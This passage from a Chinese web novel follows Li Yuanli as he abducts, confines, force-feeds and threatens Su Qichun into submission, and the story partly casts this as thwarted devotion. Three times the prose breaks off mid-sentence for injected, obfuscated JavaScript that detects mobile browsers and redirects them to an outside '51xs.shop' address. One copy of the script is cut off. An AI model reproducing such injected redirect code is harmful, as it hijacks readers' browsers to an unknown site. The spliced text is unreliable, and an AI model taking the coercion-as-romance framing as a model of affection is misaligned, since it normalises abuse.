李元礼行事素来张扬,尤其是对苏祈春,凡是一点小事,他都要大张旗鼓,恨不得全天下的人都知道,在湛江县人心里,她早就是他的了。 后来,她索性不解释了,坐在角落里一口接一口地喝着茶水,茶水温热,不冷也不烫,滚进苏祈春心里,却格外地寒。 屋里众人又看了一番后,亭子里的人也走了,几人关上屋子,打起马吊起来。 她们玩的正好,苏祈春悄悄地站起身,走到盼春身旁,拉拉她的衣袖,说了一番话。 盼春显然没想到苏祈春会说这番话,但她明显是高兴的,压低声音道:“行,我带你去。” 苏祈春放轻步子跟着盼春往外走,快走到门口时,回头一望,正瞧见婉君盯着自己看,她有些尴尬,匆匆挪过眼神,跟着盼春离去。 婉君眉头皱起,她回到湛江县不过数月,苏祈春和李元礼的事她听府里的丫鬟们说起过,她们说他们二人非常相爱,但今日看,恐怕不是那么回事。 63. 父母命 63父母命 转过暖阁一角,又走过一道长廊,迎面是一排排屋宇,路上寂静,竟没有遇见一个人。 苏祈春跟着盼春停住,隔着半透的窗纱,苏祈春可以隐隐约约看见屋里面的挺拔背影。 盼春识趣地退下。 苏祈春吸了口气,推开门,冬日冷冽的光线顺着门缝钻进黑暗的屋里,虚空里的灰尘在光线中跳跃盘旋,身着黑衣的男子转身回头,嘴角有溶溶笑意。 “你来了。”李元礼抬眸凝望苏祈春,苏祈春站在光亮里,天光将她周身染上一圈金色的光边,她盘好的发髻上炸开的绒毛随着她的步子轻轻摇晃。 李元礼盯着她看,目光从她的发顶开始一点点流转,滑过她圆圆的杏眼,小巧的鼻子,苍白中有些颤抖的唇…… 苏祈春浑身绷着,像在防御的幼兽,她冷着声音说:“我山哥哥的事,多谢你,我的佛经也要抄完了,抄完之后,我会上山,出家做个尼姑,一辈子不嫁。” 说完,苏祈春咬着牙和李元礼对视,她强压着内心的害怕与恐惧,直直地望向他,冷冷的目光里,非要与他争个胜负。 李元礼望着苏祈春的眼眸渐渐蒙上一层灰暗,他忽地低头轻笑,转身坐在一旁的椅子上,手指在椅把上轻叩。 屋子深处日光稀薄,他的脸几乎完全隐在黑暗里,“你来就是为了和我说这些?” 李元礼凉薄的声音在冬日更叫人发寒,苏祈春站在日光与黑暗的交界处,不再往前走一步,她昂着脸道:“不然呢?我和你还有什么其他好说的么?” 在她幼时,李元礼是怎么觊觎她的,怎么和她的两个好哥哥勾连的,她都还记得,她和他,从来都没有什么好说的。 李元礼轻叩的指尖倏然停住,黑暗里,他抬起眼,仔仔细细地看她,苏祈春被看得脊背发凉,浑身冒冷汗。 苏祈春的样子被李元礼一一看在眼里,他别过眼,眼眸中掠过一丝阴翳,很快又扭头去看苏祈春,眼神平静,“纤纤,你别着急做决定,不管什么事都可以慢慢来,我不会逼你。” 慢慢来?如果苏祈春是第一天认识他,真的会被他好心的话,纯良的眼神给骗到,可她不是,她知道他是什么样的人,说他丧尽天良也毫不为过,他的话,苏祈春一个字都不会信。 “不会逼我?”苏祈春只觉可笑,“你逼我逼得还不够么?是啊,在旁人看来,你帮我阻止了我兄长的强嫁,帮我安排衣食起居,派李嬷嬷成日守在我身边,对我可以说是无微不至。” 李元礼以为做这些是为了苏祈春过得更好,但在苏祈春嘴里,显然不是那么回事,他回道:“不是么?还是说,这些在你眼里根本不算什么?” “当然不是。”别人会被李元礼骗,苏祈春才不会,“‘无事献殷勤,非奸即盗。’你这样鸡鸣狗盗之辈怎么会无缘无故地做好事?你做这些无非是想把控我,要我离不开你的手心。” 李元礼忍不住大笑起来。 苏祈春听得刺耳,她问:“你笑什么?” 李元礼笑得腰都弯了,他单手撑着椅子站起来,扶额大笑,站在苏祈春面前,低头看她。 苏祈春攥紧双手,笑意在李元礼眼里浓到化不开,但苏祈春看起来,偏偏有种冷意与阴鸷在。 换作三年前的李元礼,当然是这么想的,但是三年后,在被人狠狠背刺戏弄后,他突然很想要天寒地冻里的那点日光,他想要那点日光自愿靠近他,而不是被逼无奈。 “我想笑就笑了,还用跟你说为什么?你在想什么,苏祈春?”李元礼笑容收敛,冷脸看她,“我可是最无耻最下流,最心狠手辣最阴晴不定的人,我笑不笑的,跟你有什么关系?” 苏祈春的脾气被李元礼的话给点起来,她冷哼一声,“当然跟我没关系,我巴不得你离我远一点儿,最好永远别让我听见你的声音,我来就是为了亲口告诉你,我不嫁你,你最好死了这条心,以后我们桥归桥,路归路,谁也别惹谁!” 苏祈春转身,刺眼的日光让她恍惚了一瞬,她被迫眨眼,却仍头也不回地往前走。 此时的日头是斜斜的,将苏祈春身影投在身后在,瘦瘦小小的一个,三年了,苏祈春长大了,可是个子和身材却一点儿没变,和三年前一模一样。 “站住!”李元礼的声音从身后响起来,苏祈春只当没听见,继续往前走,她才不会理他,也绝不会屈服,永远都不会。 但李元礼又怎会放弃?很快,苏祈春的手腕就被李元礼抓住,她惊呼一声。 院落里,枝头的鸟儿被吓得四散乱飞,守在门外的盼春纹丝不动。 苏祈春被李元礼压在窗子上,她另一只手腾挪出来捶他打他,李元礼按住她,将她一双手放在一起,举过头顶攥住。 “你不要脸!”离得太近,苏祈春甚至可以感受到李元礼滚烫的呼吸,她内心一阵恶心,愈发用力地挣扎,脸气得通红。 李元礼看着她狼狈的模样,居高临下地笑,“对啊,我不仅不要脸,我还无耻又下流,怎么?纤纤是第一次知道吗?” “你!”苏祈春眼见着李元礼靠得越来越近,身子害怕得颤抖,整个人都哆嗦起来,她咬着牙说:“你敢碰我一下,我就去死!” 她愈是这么说,李元礼靠近的动作愈发肆意,他一点点贴近苏祈春躲避的脸,鼻尖闻着苏祈春身上的特有的药草的香味,微微的一点苦。 李元礼离近了看,才发觉苏祈春还是有变化的,比如说,脸上的婴儿肥变少了些,脸更瘦了,又比如说,那双杏眼也不爱笑了,更透出些成熟与无奈,反而更有种疏静的美。 这么一看,实在有太多变化的地方,只是,有一点还没变,三年前三年后,都是一样地讨厌他。 “那你去死吧。”李元礼冰冷的声音在苏祈春耳边响起,苏祈春眼前一黑,浑身瞬间失去力气,身子滑落下去。 犹如断了线的风筝被树枝缠绕,苏祈春感受到腰间传来一阵力量,双手被放出,无力地垂下,她强撑着睁了睁眼,望着李元礼的侧脸,有些害怕,“你……你想干什么?我真的敢死给……” 话未说完,李元礼在苏祈春脖颈后重重一击,苏祈春彻底昏迷过去。 盼春听到声音跑进来,张口问:“公子……” 李元礼止住她的话,站起身冷冷地看着地上的苏祈春,许久没说话。 天光渐渐移动,屋子里的光越来越少。 盼春试探地问:“公子,苏府和施府的人还在外面等苏女郎,是要将苏女郎直接送到外面还是……?” 李元礼薄凉如冰的目光扫过她,他转身向里,步履不停,“送回苏府,让苏川柏两兄弟来见我。” 这边暖阁里,一众女郎打马吊打得不亦乐乎,施清荷恨不得站到桌子上玩,就连茯苓也被拉着入局,根本没人注意到苏祈春已不见了踪影。 只有婉君不喜玩乐,独自坐着,想些什么,眼见着天光渐暗,想到苏祈春去了许久还未回来。 她走到茯苓身边,想和茯苓说苏祈春的情况,奈何茯苓玩疯了,一点儿听不见不说,还险些将她推倒。 婉君一直急,也没有办法,她回来不久,又顶着私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13814404|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃出嫁的罪名,谁也不待见,原来的姆妈也去世了,她此刻竟是孤苦伶仃的一个人了。 想着想着,眼泪儿就滚出来了,回头一看,没有人发觉她落泪了,于是她的心瞬间变得很坚硬,像筑起了一堵墙,偏执的想法渐起:既然没有人在意,索性她就彻底消失在这世上,又有何妨? 她心里这么想,脚下就跟着动起来。 等到众人都玩得尽兴了,才忽然发现,苏祈春不见了。 最先发现的是施清荷,她输了一大笔钱,正要和苏祈春哭诉,谁知喊了半天无人回应,这才发觉苏祈春不见了踪影。 施家和苏家急成一团,来回地找,茯苓差点儿急晕过去,无奈只能回府搬救兵,谁知苏祈春就在苏府。 苏祈春躺在床上,似是睡熟,茯苓看见她便大哭起来。苏祈春惊醒过来,见到眼前熟悉的景象,惊颤的心才平复下来。她坐到铜镜前,瞧着自己因为惊吓而苍白的样子,身子不住地颤。 手边还放着一叠叠的佛经,整整抄了三年。 就好像她为了躲避李元礼,躲避她的两个兄长,自己织了一个茧,把自己困进去,现时这个茧要破了,她就得再找一个,再困自己一次。 有时候她会觉得自己的生命都被困住,她自己也没了幼时的勇气,甘心被困着,被拘着,像个泥人儿一样,只能任人摆布。 她苦笑着,伸手摸了摸自己的脸,忽地发现,自己好久没笑了。 其实自己真该多笑笑,笑总比哭好。 第二日,苏川柏两兄弟破天荒地来看苏祈春,还带了些补品给苏知辛,苏川柏刚一坐下就上下打量了苏祈春一番,嘴角快要咧到耳根儿后去了。 “妹妹,好久不见,又长漂亮了,真好。”苏川柏道。 好?有什么好?若真是好,从苏川柏嘴里说出来也变不好了,苏祈春不多言语,客气地笑,“柏哥哥说得不对,分明是人老珠黄,真该送去尼姑庵当尼姑。” 苏川柏二人早已在李元礼听说了苏祈春日后的打算,也知道了李元礼的打算,苏祈春虽然是妹妹,但苏川柏两兄弟现如今在湛江县的生意全被李元礼抓着,他们当然要帮李元礼。 苏川柏正想措辞,苏川谷直接道:“当什么尼姑?已经替你选了一门亲事,收拾收拾,准备出嫁吧!” 骤然听到要出嫁的消息,苏祈春犹如听到平地惊雷,她猛拍一下桌子,浑身气得发抖,大吼道:“我不嫁!” 女子的婚嫁之事向来由父母做主,父母不在,便由兄长做主,至于女子自己的想法,根本不重要。 苏川谷冷笑:“苏纤纤,你以为你是谁?婚姻大事,父母之命,媒妁之言,原先你借口要为母亲抄佛经不肯出嫁,现在佛经抄完了,还想躲着藏着么?你知不知道,你这样大的女郎待在家里,外人都是如何说我们的么?” 说什么冠冕堂皇的理由,苏祈春一概不信,她盯着苏川谷,一字字道:“我不嫁!” “不嫁也得嫁!”苏祈春凶,苏川谷便要更凶,非得压倒她不可。 眼见着苏川谷和苏祈春两人剑拔弩张,苏川柏嘿嘿笑两声,插嘴道:“都别生气了。我说纤纤,我们也是为了你好,这次给你找的,可是湛江县有头有脸的人物,一定不辱没你。” 苏祈春心里骤然生出不好的感觉,她疾声道:“那更不行,县令大人哪是我这样的孤女能攀附得起的。” 话刚说完,苏祈春就感受到一丝嘲讽的凉意,她抬头看,只见苏川谷满眼不屑地看着自己,他阴笑着开口,“怎么?妹妹你还真以为李元礼非你不可呀?” 64. 第 64 章 64 “你……”苏祈春一时之间羞得面红耳赤,明明还是个待字闺中的小女郎,可笑一开口就给自己定好了人家,她的气势顿时弱下来,声音越来越小,“我自然没这么觉得,只是不知哥哥为我定了哪户人家?” 苏祈春低微起来,才是苏川柏两兄弟心中妹妹该有的样子。他们曾经是苏家的长子,如今是苏家的话事儿人,就该掌控苏家的每一个人,苏家上下就该听他们的话,苏祈春姓苏,她的一切也就该被他们握在手里。 苏川谷得意,“这你就不用管了,哥哥们不会亏待你,你可是我们唯一的妹妹,我们亏待了谁都不会亏待你,你不是最喜欢样貌好的小白脸么?”苏川谷和苏川柏相视一笑,“哥哥们给你安排的,就是这样的,你一定会喜欢。” 苏祈春听着两兄弟的笑,心里瘆得慌,恶魔笑起来,怎么能有好事儿? 一切不容许苏祈春挣扎,没过两天,就陆陆续续有冰人上门,苏川柏两兄弟前前后后忙着为苏祈春准备婚事,一点儿没让苏祈春插手,旁人夸赞两兄弟爱妹,苏祈春只觉得心底发寒。 眼见着这婚事就在咫尺,连茯苓也急起来,出主意让苏祈春去找李元礼,李元礼这些年这么殷勤,若是苏祈春去求,他一定会答应。 苏祈春立马拒绝,“不行!” “怎么不行?”茯苓急了,“这事儿要是他出面,一定可以有转圜的余地,与其这么等着,还不如死马当活马医,这几天,我们这觉明院像被封了一样,透不进一点儿消息,谁知道他们给女郎你安排的是什么样的?” 茯苓越说越慌,“若是那姑爷是个赌鬼,是个满脸脓包的人,可怎么办?” 见苏祈春不说话,她又说:“又或者那姑爷是个瞎眼的,或是瘸了腿的,女郎你后半辈子可怎么办呀?” 苏祈春放在书卷上的手指顿了顿,终于说话,“我不怕瞎子。” 茯苓简直要被气笑了,这都什 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苏祈春怔住,望向李元礼,看着他不容置疑的眼神,忽地笑了。怪不得这段日子他对她的婚事不闻不问,原来在这儿等着她。 “我不跟你走。”苏祈春一字字道:“你凭什么要我跟你走?我苏祈春就算是嫁给全天下最不堪的人,也不会跟你走,永远不会。” 屋子里的人哪个不是生活在李县令的管辖下,平日里多多少少都要给李元礼些脸面,再加上三年前李元礼回来后,像变了一个人一样,众人都怕他。 此时谁也不敢出声,李元礼盯着苏祈春,眼底深处的一点点火苗慢慢燃烧,很快燎原一般蔓延起来,他好似一张拉紧的弓,随时都有可能爆发。 “是吗?”李元礼说得平稳,但仔细听,依然可以听到平稳声音下的激荡暗流。 苏祈春毫不犹豫地回:“是,我非常确定,非常肯定,要我跟你走,除非我死了。” 苏祈春的话刚说完,就看到李元礼有些狰狞的眼神,有些愣住,可还没等她反应过来,身子就被人拎起来,她被扛在李元礼的肩头。 苏祈春就这么被李元礼扛着往外走,一屋子的人看着,他们虽然没说什么,但苏祈春依然可以感受到他们别样的目光,苏祈春拼命地挣扎,可这些目光并不因为她的不情愿与可怜而怜惜她,反而更加冰冷、置身事外,连她的反抗也显得苍白无力。 到了李家后,苏祈春被关在屋子里,不能见任何人,一日三餐都由人送过来,送饭的人放下饭就走了,也不同她说一句话,她不吃饭,李元礼便拿她爹爹的命逼她,她只能吃。 在这暗无天日里,分不清白天和黑夜,她也不知过了多少天。有一天,门突然开了,黑暗里透出一点光亮,找出一个白色身影。 她被关得有些懵懵的,某一瞬间,她还以为是她的山哥哥来救她了。 可很快她就知道她一定是傻了,这个人怎么可能是她的山哥哥。 李元礼走近后,她别过脸,不去看他。 方才进门时,李元礼看到她眼中有雀跃和感动,可走近之后,却又什么都没了,又是这样,像面对什么可怕的东西一样面对着他。很多时候,李元礼都觉得无能为力,他受了那么多苦,已经诚心改过了,怎么就不能给他一个机会? 望了眼苏祈春,李元礼压下心中的种种种种,他还没忘了自己来的目的,嬷嬷说女孩子要靠哄的,要靠无条件地付出与坚持。 他记得苏祈春说想要去做尼姑,他可以在李府为她修一间禅房,让她在这里参拜礼佛,她不想和他亲近也可以,他不是不能忍,他可以等,等到他的真心终于有一天可以被看见。 “你觉得怎么样?”李元礼屏住呼吸等着苏祈春的答话,他生怕,生怕苏祈春又误会了什么,所以说得格外温柔,格外动人。 大抵一个人对另一个人的想法实在是太难改变,当有了预设之后,对方再说什么都没有用。 李元礼自以为的真心,苏祈春却听得心烦,这样的把戏她在戏文里不知见了多少,看起来甚至是低声下气,其实不过是步步欺瞒。苏祈春冷笑,“我觉得不怎么样。” 她回头去看李元礼,几日下来,她消瘦了些,瘦削的脸颊更将她的厌恶展露无遗。 “李元礼,我根本就不想见到你,你不要跟我说这些花言巧语,我不想听,我不愿意听,你若是真心的,就放了我,永远不要来纠缠我,离我越远越好!” 分明是青天白日,李元礼却觉得有声惊雷在他耳边响起,他的心也跟着颤,但他还是继续说:“你别急,你不要这么快否定,你要说什么,要我做什么也都可以。” “是么?”李元礼说的每一个字,苏祈春都觉得恶心,她站起身,冷冷地俯瞰着脚下的李元礼,淡淡道:“那我让你滚,你为什么还不滚?” 一声很轻很轻的叹息,像羽毛落在地上一样漂浮在昏暗的屋子里,李元礼再也找不出什么理由留在这里,他慢慢地站起身,眼神里有些悲哀又有些愤怒,但是什么都不要紧,他知道眼前这个人不会在意。 “好。我滚。”李元礼的目光变得比苏祈春的还要冷,他目光扫过苏祈春身旁放着的饭菜,又道:“你既然想饿死自己,也大可以这么做,你爹爹,我可以高抬贵手,替你为他养老送终。” 屋子里响起沉闷的脚步声,一步步,一声声,苏祈春绷着身子听了好久,确认声音消失了,屋子里又重新漆黑一片时,她才松了口气,浑身像被抽去骨头一样,无力地伏在案头上。 一灯如豆,映照着她有些苍白的脸颊,许是有太多的糟心与混乱,她乌黑的眸子如今黯淡了许多,眸底带着不同于以往的悲伤。 外面又开始下雪,屋子里很静,她伏在桌案上可以听到雪花敲打屋顶瓦片的声音,簌簌的,绵绵的,她记得从前的冬天,她会在家里读医书,配药材,还会和娘亲一起做做女红,风雪大的年月,还可以堆雪人。 那时候的自己一定想不到,以后的自己会是这个样子。 要说命运弄人,谁说不是呢? 后面的几日,苏祈春不哭也不闹了,送过来的饭原封不动地送回去,丫鬟们都害怕,害怕李元礼打骂她们,可谁想到李元礼倒没什么态度,忽然有一天,她们又一次将完好无损的饭拿出来,却被李元礼拦住,他声音平静,可这些丫鬟们就是觉得他很生气。 他说:“还真想饿死自己?她以为她是谁?想死就死么?” 不出一个时辰,苏祈春被人拖出来,硬生生喂了一大碗饭,弄得胸前的衣裳上淌满饭汁,她还来不及质问,又被人塞进马车里,不知要把她送往何处。 等到她再出来时,天已经黑了,面前是一条大船,一群家仆拽着她,将她丢在船板上,河面上月明星稀,寒风阵阵,她挣扎着大喊:“你们想干什么?” 家仆们看着她,不吐一眼。她心里升起无数种可能,这事一定是李元礼干的,当年他们把他扔进大船里,难道这次他也要这么对她一次? 很快,一个矮个子男人操着尖细的声音回答了她的话,“苏女郎,你可莫要被吓到了。” 黑暗里,眼前的小矮个儿贼眉鼠眼,不像好人。 “你是谁?”苏祈春问。 小矮个儿捋捋下巴处的胡子,来回打量苏祈春,笑嘻嘻地说:“我是谁不重要,我只是来问苏女郎,你可知你此时在何处?” 苏祈春不解,她现在不是在湛江县么? 小矮个摇头,“错了错了!你此时在船上,很快船就要启航,去往常春县,到时候,一条船就是一个小小天下,在船上,船老大说了算,连天王老子都管不了。” 苏祈春没懂他的话,心里却已有深深地不安,“所以呢?” “所以……”小矮个靠近苏祈春,这小女郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890011|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看就是细皮嫩肉的,倒也真是忍心让她受苦,不过不关他事,他也懒得多说什么,“船老大说了,在这条船上,船工们干的活,你干不了,但是,你得干那个活儿。” 小矮个指了指不远处的一排排木桶,木桶外布满了狰狞的污迹,“我知道像你这样的女郎,一定没干过这么脏的活,但谁让这是在船上呢,船老大说什么,就得听什么。” “我若是不干呢?”苏祈春问。 “你要是不干,那只能……”小矮个儿立掌为刃,在自己脖子上划了一下。 苏祈春笑了,“我巴不得死呢。” “那可不行。”小矮个儿皱眉,意有所指地说:“你要是死了,那茯苓小丫头也活不了了,不过你们主仆情深,陪你一起死,想必也没什么,只是可惜了,花儿一样的年纪……” 苏祈春听得浑身发寒,她艰难地爬起来,走到那一堆恭桶处,强忍着刺鼻的气味和胃中的翻滚,拿起一个恭桶就刷了起来,这一刷就是半个月。 半个月里,船一直再往北走,天气愈发地寒冷,她的手成日里露在外面,泡在水里,长了满手的冻疮,红彤彤的,看着吓人。风一吹,长冻疮的地方又疼又痒,钻心地难受。 也是在这半个月里,她知道了那个小矮个儿叫杜冲,从前就是一名船工,后来他在的那条船上的船老大被人给害死了,他才下了岸,不知怎么就跟了李元礼。 说起来,这半个月里,倒一点儿没瞧见李元礼的身影,她曾在匆匆路过的丫鬟嘴里听到过几句他的名字,听她们的语气,他很不开心,但她开心,他不开心她就开心。 可她很快也不开心了。午后,船工指着不远处,吆喝着说:“快看啊,常春县要到了,我们要上岸了!” 对于常春县的记忆,苏祈春还停留在三年前,她顺着船工指着的方向极目远眺,依稀可见铺满白雪的屋顶,道路,以及被雪压得弯下去的枝桠。 她记得就是在常春县,山哥哥看到了她,她也看到了山哥哥眼中那个明媚的她。光是有这点回忆,就足够让苏祈春对这个地方充满了善意,她也开始像那些船工一样,有些期待上岸。 快上岸时,苏祈春被几个丫鬟按在铜镜前,几个人轮流为她上妆,束发,还梳的是妇人发髻,她想问,丫鬟们低眉顺眼,有些为难,“女郎,你就别问了,我们也是奉命办事。” 她只能冲到李元礼的面前问他,李元礼看到她时,目光怔了一瞬,缓缓地答:“你这样,很好。” 她却觉得这样不好,不好极了,可李元礼又拿别人的命来逼她,她只能忍,跟着李元礼一起下了船,上了岸。 冬日的常春县,人还是那样的少,不过李元礼似乎对这里很熟悉,很快就找到一家酒楼,一进门,酒楼里三三两两地坐着几桌人,他们目光凌厉,腰背坚实,不像是平常人。 店小二迎上来,笑着说:“李公子,好久不见,快楼上请。” 李元礼点点头,“我还要那间屋子。” 店小二面露难色,“您瞧,这就不巧了,今日曲家女郎在此会客,恰好就定的那间屋子。” “曲家女郎?”李元礼挑眉,“她来见谁?” “哎哟,这咱们得低声说了,据说是曲家未来的女婿,也是江湖上的高手。” 李元礼显然来了兴致,他回头望一眼苏祈春,半是询问:“那就让给她?” 66. 少年郎 66少年郎 两人年岁相近,又都是难得的标致人物,难免被人认成夫妻,再加上,苏祈春梳着妇人发髻,别人很难不多想。 李元礼话一出口,店小二等一众人都往她这里看,她是不想搭理李元礼的,可是众目睽睽之下,她被看得不自在极了,只好不情愿地“嗯”一声。 听到这一声,李元礼顿时眉开眼笑,像个平常人家的丈夫一般,缓缓伸手等着娘子主动伸过来的手,目光温柔,满是笑意。 这店小二还从未见过李元礼这般模样,他印象中的李元礼多金但凌厉,每次见他,他一个多余的眼神也不会给他们,这般柔软的样子,他也是第一次见。 苏祈春瞟了一眼近在咫尺的手,心里浮起深深的厌恶,她看也没有多看一眼,扭身往屋子里走,只留下李元礼和店小二面面相觑。 李元礼的脸自然又沉下来,店小二常年在此处来往,见多了人,脑子自然机灵些,他见不对,打趣说道:“夫人这是害羞了。” 李元礼只觉得头疼,不想听店小二多说,挥挥手让他赶紧滚。 常春县外面虽冷,但屋子里燃满了火炉,暖和得如同春日,苏祈春待了一会儿便觉得浑身燥热,脸颊上也染上因太热而升起的红晕,她将外面的鹅黄氅衣脱下,搭在椅背上,扭身的时候,正瞧见走进来的李元礼,身子很快又扭回来。 她听着李元礼走进来的声音,直到他在身边坐下,两人默默地吃着饭菜,谁也不说一句话。 屋子里热,苏祈春长了冻疮的手暖了一会儿便开始痒起来,她初时能忍,后来越来越痒,她忍不住来回地蹭,蹭得冻疮处越来越红。 身旁那人纹丝不动,淡然地吃完饭,又闭了会儿目,之后缓缓睁开眼,唤了小二过来,低声嘱咐了什么。 苏祈春忍着痒吃了几口饭,店小二进来收拾时,瞧见她的手,连忙说:“夫人得忍忍,可不能乱抓,否则一定会留疤。” 苏祈春自幼学医,如何不懂这个道理,奈何实在是“巧妇难为无米之炊”,她手头什么药草都没有,更不用提医治了。 她还想多和店小二说几句,从他那找点儿药草,身旁那人便冷着脸站起来,店小二顿时噤声,不再和苏祈春说下去。 说到底,苏祈春仍然是个被困住的人,在李元礼面前,她没什么自由。眼见着李元礼往外走,她也不得不起身跟着,店小二在后面喊:“夫人慢点儿。” 这酒楼环境清雅,人不多,来的人都衣着光鲜,气度不凡,二楼都是包厢,更加安静。 苏祈春跨过门槛,正巧隔壁的人也走了出来,离得不远,是以苏祈春能听到女子清铃的声音,“你怎么整天一副冷冰冰的不高兴的样子?到底是谁惹你了?” 那女子一身红衣,张扬热烈,听到他们这边的声音,也看过来,目光落在苏祈春身上,盯了一会儿,很明显地皱了皱眉,喃喃自语:“奇怪,这个人好像在哪里见过。” 苏祈春却是一眼就认出了她,三年前,他们刚来常春县时,曲红绡正在比武招亲,依着方才店小二的话,想必三年前的那次比武招亲她并未得偿所愿,所以到今日才找到意中人。 隔着一段距离,店小二弯腰跟曲红绡行了个礼,曲红绡顺势问:“这是哪来的客人?从前没见过。” 店小二回头望了望李元礼二人,得到李元礼眼神示意后,店小二为曲红绡一一介绍,说到“夫人”二字时,苏祈春听得浑身不自在。 曲红绡也很惊讶,她满是自信的眼眸亮了亮,惊奇之意爬上眉梢,“夫人?”她觉得眼前的人眼熟,倒没想到是谁,只是看起来小小的一个,比她还要小,竟然都成亲了,她真的得快点儿了。 她想至此处,扭头要和身边的人说什么,却在看到那人的一瞬间停住,这怎么,青天白日的,怎么把面具戴上了?莫非是这里有第一楼的人? 她右手抚上腰间的软鞭,眼睛观察着周围,但什么也没发现,她不解地问:“这里安全的很,戴什么面具。” 少年一身白衣,在这满是朱褐色的酒楼里,显得格外地明显,光是看他的身影,便会觉得他一定是一个格外俊逸疏朗的人,举手投足,皆有超脱世外之感。 苏祈春自然一眼就看到了他,并且觉得好熟悉,他的身影,真的好熟悉,她甚至能想象出他会怎样走路,怎样说话,怎样笑,怎样点她的鼻子,怎样低头和她说:“纤纤一点儿都不乖。” 而她则会说:“胡说,纤纤分明是这人世间里最最可爱的小女郎,没有之一!” 她想到这里,就忍不住掉眼泪,满眼通红地看着不远处的少年,特可怜特心酸。 少年的目光好像也在朝她这边望过来,就算隔着面具,也能感觉出少年看得有多认真,有多直接。 泪水在苏祈春的眼眶里越聚越多,她浑身颤抖着,长满冻疮的手攥紧,洁白的手心因此留下一排指甲印,她等着他朝她走过来,几乎要忍不住,要忍不住不管不顾地朝他走去。 酒楼里零零散散的人流,在各个酒桌间穿行的小二,弹着胡琴的少女,喝着烈酒的大汉,在这所有的人里,好像苏祈春只能看到眼前的少年,而她偏偏就相信,他也在看着她。 千千万万的景象在苏祈春脑海中浮现,在熙熙攘攘的人群里,他们四目相接,火石电光。 一群人从旁边走过,里面有几个小女郎,不知在说什么,叽叽喳喳的,瞧见几人静默的样子,纷纷侧目看过来,目光很快停在了白衣少年身上,看得呆住。 曲红绡看着这一切,眼眸闪动,脸上露出骄傲的神情,她就知道她看上的男人,绝不会错,到哪都能迷倒一众小女郎。 面对着这么多的目光,曲红绡看似不经意地挽住身边人的胳膊,冷傲的眼尾向上翘了翘,眼神扫过身旁人艳羡的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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店小二不知道如何答,只好望向李元礼,李元礼一直看着苏祈春,脸上说不出的神情,他挥挥手,示意店小二下去,又缓缓走到苏祈春身边,慢慢道:“你以为是谁?陆之山?” 很难说李元礼这句话是什么意思,苏祈春在里面听到了许许多多的意味,有嘲讽,有嗔恨,若是以往,苏祈春定要和李元礼对着干,可此时她只想知道这个人是谁。 苏祈春转身面对李元礼,语气从未有过的柔软,“所以,是他么?你知道的,对不对?” 苏祈春渴求的眼神望向李元礼,李元礼冷笑,低头看见苏祈春冻得通红的手,想到三年来的种种种种,不无讥讽地说:“他是谁我不知道,我只知道他是别的女郎的未婚夫婿,就算他是陆之山又如何,他也要娶别人了,他早就把你忘了,也就是你,还傻傻地相信,相信他一定会回来找你。” “他就是会回来找我!”苏祈春涨红了脸,用力地推了一下李元礼。 67. 第 67 章 67 小小的力气自然不能撼动李元礼半分,苏祈春不仅没伤到李元礼,还被李元礼锢住双手,像小孩儿被大人拖着走一样,苏祈春被李元礼拽着,拽到酒楼外的马车前。 酒楼外,举目望去皆是白茫茫的一片,几辆马车停在雪地里,马车顶上铺满了雪,苏祈春一出门就看见雪地里的一抹红色。 红衣少女热烈,她站在雪地里,眉眼带笑地看着眼前的少年,伸手给眼前的少年系好脖颈处的衣带。 少年脸上的面具还未摘下,红衣少女伸出手指碰了碰,“还不摘下来?戴着面具干嘛?” 少年手动了动,快要放到面具上时,忽然朝苏祈春这边看了一眼,抬起的手很快放下,此刻风雪不住,风吹得漫天的雪粒子随意飘洒,弥漫在两人之间,将人影模糊成一片白。 苏祈春被李元礼拖着,眼睛望向不远处的少年,风雪里渐渐看不清他的身影,她还想靠近些看,却硬是被李元礼扳过身子,厚厚的斗篷披在她身上,李元礼为她系好衣带。 苏祈春的心思却还在少年身上,她几次偏头去看他,风雪忽而大忽而小,在风雪的缝隙里,苏祈春看到一闪而过的红色衣角,和交叠在红色衣角上的一抹白。 李元礼看着苏祈春乌黑的发上的雪粒子,冷淡的言语 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苏祈春自己也吃得痛苦,完全不像她说的那样,“糯米糕是世上最好吃的东西,她最爱吃。” 夜渐渐垂下,屋子里只燃起一盏灯,灯火昏黄幽暗,粼粼地在苏祈春脸上逡巡,许是吐得太久,她的嘴唇都是苍白一片,看不见一丝血色。 阿梨被她遣了出去,她一个人在屋子里,安静地想,脑海里闪过许多,三年来的记忆如走马灯一样,在她脑海里一一闪过。 不管是她娘亲离世,还是祖母的死,抑或是苏泽兰和陆重不告而别,好像都是苏家人自己处理,解决,她寻遍记忆,找不到任何一个别的身影,他似乎从始至终都没出现过。 在她最崩溃最伤心最无助的时候,她真的很希望他能回来帮帮她,救救她,可是在那些无数的时刻,她最终都是自己渡过了那一切,她总是告诉自己,他一定是在她不知道的地方默默地看她,她想一定是的。 